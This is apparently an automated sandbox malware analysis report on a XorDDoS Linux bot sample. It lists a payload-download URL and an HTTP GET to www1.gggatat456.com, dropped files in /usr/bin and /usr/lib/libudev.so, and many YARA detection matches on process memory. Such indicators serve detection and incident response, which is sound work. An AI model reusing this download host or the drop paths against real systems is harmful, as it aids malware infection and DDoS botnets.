Source: 0Xorddos.o, 5435.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5438.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5441.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5444.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5446.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9gp
Source: 0Xorddos.o, 5363.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5366.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5369.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5371.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5374.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9nj
Source: 0Xorddos.o, 5489.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5492.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5495.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5498.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5502.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9os
Source: 0Xorddos.o, 5526.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5529.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5532.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5534.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5537.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9qf
Source: 0Xorddos.o, 5455.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5458.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5460.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5463.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5466.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9qi
Source: 0Xorddos.o, 5345.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5348.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5350.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5353.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5356.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9tn
Source: 0Xorddos.o, 5254.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5259.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5261.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5264.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5267.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9uq
Source: 0Xorddos.o, 5384.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5387.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5389.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5392.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5395.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9wz
Source: 0Xorddos.o, 5546.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5549.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9yf
Source: 0Xorddos.o, 5291.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5294.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5296.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5299.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5302.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9ys
Source: 0Xorddos.o, 5308.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5311.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5313.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5316.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5319.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9za

Source: unknown

DNS traffic detected: queries for: www1.gggatat456.com

Source: global traffic

HTTP traffic detected: GET /dd.rar HTTP/1.1Accept: */*Accept-Language: zh-cnUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)Host: www1.gggatat456.comConnection: Keep-Alive

DDoS

Yara detected XorDDoS Bot

Source: Yara match	File source: 0Xorddos.o, type: SAMPLE
Source: Yara match	File source: 5313.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5337.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5428.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5316.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5546.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5455.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5356.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5412.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5532.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5261.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5267.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5225.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5426.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5407.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5438.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5273.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5345.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5537.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5291.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5401.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5512.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5296.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5480.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5418.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5435.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5311.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5223.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5463.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5332.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5294.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5284.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5444.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5224.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5404.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5515.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5466.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5389.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5395.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5421.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5326.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5363.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5534.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5308.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5276.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5366.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5526.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5478.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5302.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5552.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5387.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5495.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5279.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5529.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5329.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5482.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5509.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5492.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5441.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5374.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5472.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5264.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5410.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5348.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5319.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5475.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5281.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5502.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5521.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5254.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5299.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5392.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5517.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5369.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5460.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5334.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5259.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5446.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5549.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5384.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5458.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5498.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5423.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5371.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5489.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5353.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5350.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5221.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5221, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5223, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5225, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5254, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5259, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5261, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5264, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5267, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5273, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5279, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5281, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5291, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5294, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5296, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5299, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5302, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5311, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5313, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5319, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5326, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5329, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5332, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5334, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5337, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5345, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5348, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5350, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5353, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5356, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5363, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5366, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5369, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5371, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5374, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5387, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5389, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5392, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5395, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5401, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5407, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5410, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5418, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5421, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5423, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5426, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5435, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5438, type: MEMORYSTR
Source: Yara match	File source: /usr/bin/cvvhpkxdyk, type: DROPPED
Source: Yara match	File source: /usr/bin/wzulpfbuxk, type: DROPPED
Source: Yara match	File source: /usr/bin/njezqqgxiu, type: DROPPED
Source: Yara match	File source: /usr/bin/tngemhgnzk, type: DROPPED
Source: Yara match	File source: /usr/bin/aoyymackpm, type: DROPPED
Source: Yara match	File source: /usr/bin/qizbpqmtbi, type: DROPPED
Source: Yara match	File source: /usr/bin/gbsknxiwip, type: DROPPED
Source: Yara match	File source: /usr/bin/uqxezzsakx, type: DROPPED
Source: Yara match	File source: /usr/lib/libudev.so, type: DROPPED
Source: Yara match	File source: /usr/bin/cukrqcagnz, type: DROPPED
Source: Yara match	File source: /usr/bin/cvltgpdmgk, type: DROPPED
Source: Yara match	File source: /usr/bin/zareoppgxh, type: DROPPED
Source: Yara match	File source: /usr/bin/gpcmhoiszu, type: DROPPED
Source: Yara match	File source: /usr/bin/ysrkbnorkl, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: 0Xorddos.o, type: SAMPLE	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 0Xorddos.o, type: SAMPLE	Matched rule: Rule to detect XOR DDos infection Author: Akamai CSIRT
Source: 5313.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5337.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5428.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5316.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5546.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5455.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5356.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5412.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5532.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5261.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5267.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5225.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5426.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5407.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5438.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5273.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5345.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5537.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5291.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5401.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5512.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5296.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5480.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5418.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5435.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5311.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5223.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5463.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5332.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5294.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5284.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5444.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5224.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5404.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5515.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5466.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5389.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5395.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5421.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5326.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5363.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5534.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5308.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5276.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5366.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5526.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5478.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5302.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5552.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5387.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5495.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5279.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5529.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5329.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5482.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5509.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
